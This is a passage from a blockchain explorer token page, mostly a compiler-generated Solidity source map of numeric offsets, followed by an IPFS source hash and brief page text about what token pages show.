60;10911:258;;;;:::o;910:179::-;968:7;;1000:5;1004:1;1000;:5;:::i;:::-;988:17;;1029:1;1024;:6;;1016:46;;;;-1:-1:-1;;;1016:46:0;;12780:2:1;1016:46:0;;;12762:21:1;12819:2;12799:18;;;12792:30;12858:29;12838:18;;;12831:57;12905:18;;1016:46:0;12578:351:1;1833:189:0;1919:7;1954:12;1947:5;1939:28;;;;-1:-1:-1;;;1939:28:0;;;;;;;;:::i;:::-;-1:-1:-1;1978:9:0;1990:5;1994:1;1990;:5;:::i;11177:421::-;11324:10;;11277:7;;;;-1:-1:-1;;;;;11324:10:0;;;11315:19;;;;:70;;11351:17;;:34;;11373:11;11351:21;:34::i;:::-;11315:70;;;11337:11;11315:70;11297:88;-1:-1:-1;11400:13:0;;11396:170;;11472:4;11454:24;;;;:9;:24;;;;;;:39;;11483:9;11454:28;:39::i;:::-;11447:4;11429:24;;;;:9;:24;;;;;;;:64;;;;11513:41;;-1:-1:-1;;;;;11513:41:0;;;;;;;11544:9;1231:25:1;;1219:2;1204:18;;1085:177;11513:41:0;;;;;;;;11396:170;11583:7;11177:421;-1:-1:-1;;;;11177:421:0:o;10624:279::-;-1:-1:-1;;;;;10757:15:0;;;;;;:9;:15;;;;;;:31;;10777:10;10757:19;:31::i;:::-;-1:-1:-1;;;;;10741:15:0;;;;;;;:9;:15;;;;;;:47;;;;10814:13;;;;;;;:32;;10832:13;10814:17;:32::i;:::-;-1:-1:-1;;;;;10799:13:0;;;;;;;:9;:13;;;;;;;:47;;;;10862:33;;;;;;;;;;10881:13;1231:25:1;;1219:2;1204:18;;1085:177;10862:33:0;;;;;;;;10624:279;;;;:::o;14:418:1:-;163:2;152:9;145:21;126:4;195:6;189:13;238:6;233:2;222:9;218:18;211:34;297:6;292:2;284:6;280:15;275:2;264:9;260:18;254:50;353:1;348:2;339:6;328:9;324:22;320:31;313:42;423:2;416;412:7;407:2;399:6;395:15;391:29;380:9;376:45;372:54;364:62;;;14:418;;;;:::o;437:131::-;-1:-1:-1;;;;;512:31:1;;502:42;;492:70;;558:1;555;548:12;573:315;641:6;649;702:2;690:9;681:7;677:23;673:32;670:52;;;718:1;715;708:12;670:52;757:9;744:23;776:31;801:5;776:31;:::i;:::-;826:5;878:2;863:18;;;;850:32;;-1:-1:-1;;;573:315:1:o;1267:456::-;1344:6;1352;1360;1413:2;1401:9;1392:7;1388:23;1384:32;1381:52;;;1429:1;1426;1419:12;1381:52;1468:9;1455:23;1487:31;1512:5;1487:31;:::i;:::-;1537:5;-1:-1:-1;1594:2:1;1579:18;;1566:32;1607:33;1566:32;1607:33;:::i;:::-;1267:456;;1659:7;;-1:-1:-1;;;1713:2:1;1698:18;;;;1685:32;;1267:456::o;2125:247::-;2184:6;2237:2;2225:9;2216:7;2212:23;2208:32;2205:52;;;2253:1;2250;2243:12;2205:52;2292:9;2279:23;2311:31;2336:5;2311:31;:::i;2377:388::-;2445:6;2453;2506:2;2494:9;2485:7;2481:23;2477:32;2474:52;;;2522:1;2519;2512:12;2474:52;2561:9;2548:23;2580:31;2605:5;2580:31;:::i;:::-;2630:5;-1:-1:-1;2687:2:1;2672:18;;2659:32;2700:33;2659:32;2700:33;:::i;:::-;2752:7;2742:17;;;2377:388;;;;;:::o;2770:127::-;2831:10;2826:3;2822:20;2819:1;2812:31;2862:4;2859:1;2852:15;2886:4;2883:1;2876:15;2902:416;2991:1;3028:5;2991:1;3042:270;3063:7;3053:8;3050:21;3042:270;;;3122:4;3118:1;3114:6;3110:17;3104:4;3101:27;3098:53;;;3131:18;;:::i;:::-;3181:7;3171:8;3167:22;3164:55;;;3201:16;;;;3164:55;3280:22;;;;3240:15;;;;3042:270;;;3046:3;2902:416;;;;;:::o;3323:806::-;3372:5;3402:8;3392:80;;-1:-1:-1;3443:1:1;3457:5;;3392:80;3491:4;3481:76;;-1:-1:-1;3528:1:1;3542:5;;3481:76;3573:4;3591:1;3586:59;;;;3659:1;3654:130;;;;3566:218;;3586:59;3616:1;3607:10;;3630:5;;;3654:130;3691:3;3681:8;3678:17;3675:43;;;3698:18;;:::i;:::-;-1:-1:-1;;3754:1:1;3740:16;;3769:5;;3566:218;;3868:2;3858:8;3855:16;3849:3;3843:4;3840:13;3836:36;3830:2;3820:8;3817:16;3812:2;3806:4;3803:12;3799:35;3796:77;3793:159;;;-1:-1:-1;3905:19:1;;;3937:5;;3793:159;3984:34;4009:8;4003:4;3984:34;:::i;:::-;4054:6;4050:1;4046:6;4042:19;4033:7;4030:32;4027:58;;;4065:18;;:::i;:::-;4103:20;;3323:806;-1:-1:-1;;;3323:806:1:o;4134:140::-;4192:5;4221:47;4262:4;4252:8;4248:19;4242:4;4221:47;:::i;4279:168::-;4352:9;;;4383;;4400:15;;;4394:22;;4380:37;4370:71;;4421:18;;:::i;4452:356::-;4654:2;4636:21;;;4673:18;;;4666:30;4732:34;4727:2;4712:18;;4705:62;4799:2;4784:18;;4452:356::o;5165:251::-;5235:6;5288:2;5276:9;5267:7;5263:23;5259:32;5256:52;;;5304:1;5301;5294:12;5256:52;5336:9;5330:16;5355:31;5380:5;5355:31;:::i;6342:306::-;6430:6;6438;6446;6499:2;6487:9;6478:7;6474:23;6470:32;6467:52;;;6515:1;6512;6505:12;6467:52;6544:9;6538:16;6528:26;;6594:2;6583:9;6579:18;6573:25;6563:35;;6638:2;6627:9;6623:18;6617:25;6607:35;;6342:306;;;;;:::o;6932:277::-;6999:6;7052:2;7040:9;7031:7;7027:23;7023:32;7020:52;;;7068:1;7065;7058:12;7020:52;7100:9;7094:16;7153:5;7146:13;7139:21;7132:5;7129:32;7119:60;;7175:1;7172;7165:12;9947:125;10012:9;;;10033:10;;;10030:36;;;10046:18;;:::i;10432:135::-;10471:3;10492:17;;;10489:43;;10512:18;;:::i;:::-;-1:-1:-1;10559:1:1;10548:13;;10432:135::o;10572:128::-;10639:9;;;10660:11;;;10657:37;;;10674:18;;:::i;10837:127::-;10898:10;10893:3;10889:20;10886:1;10879:31;10929:4;10926:1;10919:15;10953:4;10950:1;10943:15;10969:980;11231:4;11279:3;11268:9;11264:19;11310:6;11299:9;11292:25;11336:2;11374:6;11369:2;11358:9;11354:18;11347:34;11417:3;11412:2;11401:9;11397:18;11390:31;11441:6;11476;11470:13;11507:6;11499;11492:22;11545:3;11534:9;11530:19;11523:26;;11584:2;11576:6;11572:15;11558:29;;11605:1;11615:195;11629:6;11626:1;11623:13;11615:195;;;11694:13;;-1:-1:-1;;;;;11690:39:1;11678:52;;11785:15;;;;11750:12;;;;11726:1;11644:9;11615:195;;;-1:-1:-1;;;;;;;11866:32:1;;;;11861:2;11846:18;;11839:60;-1:-1:-1;;;11930:3:1;11915:19;11908:35;11827:3;10969:980;-1:-1:-1;;;10969:980:1:o;11954:217::-;11994:1;12020;12010:132;;12064:10;12059:3;12055:20;12052:1;12045:31;12099:4;12096:1;12089:15;12127:4;12124:1;12117:15;12010:132;-1:-1:-1;12156:9:1;;11954:217::o

Swarm Source

ipfs://190bbcc389adb791c1eb9a01bfba0918bb53738ffa0291c2e35d3fb7b2f71b34
Loading...
Loading
Loading...
Loading
[ Download: CSV Export  ]
[ Download: CSV Export  ]

A token is a representation of an on-chain or off-chain asset. The token page shows information such as price, total supply, holders, transfers and social links. Learn more about this page in our Knowledge Base.